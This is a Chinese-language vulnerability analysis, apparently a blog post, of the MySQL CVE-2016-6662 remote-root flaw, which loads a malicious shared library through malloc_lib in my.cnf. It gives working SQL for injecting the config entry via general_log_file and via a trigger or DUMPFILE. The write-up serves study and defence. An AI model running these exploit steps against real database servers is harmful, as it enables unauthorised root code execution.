0x00 漏洞影响
mysql 5.5、5.6、5.7 在10月份更新前的所有版本,包括分支版本MariaDB和PerconaDB 。
0x01 利用途径
通过远程数据库连接,web接口如phpMyAdmin,以及sql注入都可以完成。
0x02 漏洞原理
一些默认的mysql安装方式并且mysqld_safe脚本作为包装器以root权限启动mysql服务进程,比如像:
service mysql start
/etc/init.d/mysql start
ps aux | grep mysql以后你会发现mysqld_safe是以root权限运行,而mysql的主进程被降为了mysql用户,其中mysqld_safe有如下代码:
----[ /usr/bin/mysqld_safe ]----
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple. Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
[...]
----------[ eof ]---------------
它将在mysql服务启动前预加载一个共享库,可以用–malloc-lib=LIB 来指定,但也可以用my.cnf文件来进行配置,写在[mysqld] 或 [mysqld_safe]位置。
如果通过在my.cnf中指定一个存在恶意代码的库路径,那么在mysql重启的时候,这些代码将被以root权限执行。
在3.23.55版本之前曾有漏洞允许通过OUTFILE/DUMPFILE语句覆盖配置文件my.cnf,但是在之后,mysql修复了这个漏洞,不允许通过OUTFILE/DUMPFILE语句覆盖已经存在的文件。
0x03 漏洞具体实现方式
这里其实分为三种情况:
1) my.cnf文件的拥有者是mysql,并且有读写权限。
虽然很多文档都推荐这么做,但其实是一个误区,因为如果这样配置,那么配置文件就可以被修改。
mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/mysql_exploit_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
之后,my.cnf文件会多了以下的部分
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:25:14 40 Query select '
; injected config entry
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
[separator]
'
160728 17:25:15 40 Query set global general_log = off
然后,在启动的时候,mysqld_safe脚本就会读取这个/tmp/mysql_exploit_lib.so
路径,然后清除之前创建的配置,打开这个文件并执行。此时配合将恶意文件用OUTFILE/DUMPFILE写入到/tmp目录下,就可以完成任意代码执行操作。
2) 在默认安装方式下创建新的配置文件在mysql的数据目录(默认mysql有写权限),不用依赖错误的权限配置!不需要FILE权限和错误文件归属!
mysqld_safe不止读取上面讲到的配置文件,同时还读取/var/lib/mysql/my.cnf
,而这个目录在任何安装情况下,mysql用户都是拥有写权限!
----[ /usr/bin/mysqld_safe ]----
[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
DATADIR=$MY_BASEDIR_VERSION/data
if test -z "$defaults" -a -r "$DATADIR/my.cnf"
then
defaults="--defaults-extra-file=$DATADIR/my.cnf"
fi
[...]
----------[ eof ]---------------
利用以下代码:
mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
不过以上的配置文件不会被接受,因为mysql不允许配置文件以非正确的配置标签开头(如[mysqld]),正确的绕过方式有待更新。
3) 如果只有SELECT和FILE权限,不能利用日志记录的方式。
那么只能利用触发器来修改配置文件。
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `active_table` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
" INTO void;
set global general_log = off;
END;
或者
SELECT '...trigger_definition...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG'
0x04 小结
或许我理解会有一些错误的地方,还望各位指正一下,之前就有人做过解析,写的很好,一并贴出链接:
http://blog.csdn.net/u011721501/article/details/52521037
漏洞的公告原文:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html